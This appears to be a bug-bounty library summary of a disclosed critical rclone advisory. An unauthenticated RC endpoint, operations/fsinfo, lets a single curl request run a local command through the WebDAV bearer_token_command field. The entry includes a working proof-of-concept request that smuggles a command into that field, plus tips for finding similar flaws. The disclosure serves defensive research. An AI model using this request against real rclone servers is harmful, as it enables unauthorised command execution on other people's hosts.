# RClone: Unauthenticated operations/fsinfo allows attacker-controlled backend instantiation and local command execution

Unauthenticated rclone RC endpoint operations/fsinfo accepts inline backend config, letting attackers set WebDAV bearer_token_command to execute local commands in one request.

- Payout: Research
- Severity: critical
- Program: rclone
- Found by: 0wnerDied, augustocesarperin
- Disclosed: 2026-04-22
- CVE: CVE-2026-41179
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-jfwf-28xr-xw6q
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jfwf-28xr-xw6q
- Tags: area:cloud domain:infra impact:rce kind:research platform:ghsa sev:critical tech:go technique:chained technique:source-review vuln:auth-bypass vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** rclone RC HTTP API endpoint operations/fsinfo
**Root cause:** operations/fsinfo lacks AuthRequired and passes attacker-controlled fs input to rc.GetFs, which supports inline backend definitions; WebDAV backend init runs bearer_token_command via exec.Command.
**Steps:**
1. Start vulnerable server: `rclone rcd --rc-addr 127.0.0.1:5572` with no --rc-user/--rc-pass/--rc-htpasswd.
2. Send single request: `curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/touch /tmp/rclone_fsinfo_rce_poc_marker':"`
3. Observe HTTP 200 JSON response and `/tmp/rclone_fsinfo_rce_poc_marker` created on host.
**How found:** Code review of RC endpoint registration: noticed operations/fsinfo registered without AuthRequired, traced rcFsInfo to rc.GetFs, found GetFs supports object-valued inline backend configs, then identified WebDAV bearer_token_command executed during NewFs initialization.
**Exploitation:** Attacker POSTs to unauthenticated operations/fsinfo with an inline WebDAV backend config whose bearer_token_command is an arbitrary shell command; backend initialization executes it via exec.Command in the rclone process context, yielding local command execution in a single request.
**Escalation:** Command execution in rclone process context can lead to local file read/write or shell access depending on deployment.
**Insight:** Audit RC endpoints for missing AuthRequired and trace any that call rc.GetFs: inline backend definitions let you reach backend-specific init-time command execution (e.g. WebDAV bearer_token_command) without any credentials.

## Proof of concept (copied exactly from the original report)

**curl request triggering bearer_token_command RCE**

```
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/touch /tmp/rclone_fsinfo_rce_poc_marker':"
```

**Start vulnerable rclone RC server**

```
rclone rcd --rc-addr 127.0.0.1:5572
```